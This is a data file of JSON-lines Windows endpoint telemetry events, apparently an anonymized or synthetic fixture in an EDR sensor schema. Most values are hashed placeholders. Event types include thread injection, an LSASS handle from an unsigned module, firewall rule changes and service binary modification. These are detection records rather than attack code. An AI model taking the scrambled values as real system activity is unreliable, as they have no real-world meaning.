-{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
-{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"}
-{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
-{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"}
-{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"}
-{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"}
-{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"}
-{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"}
-{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
-{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
-{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"}
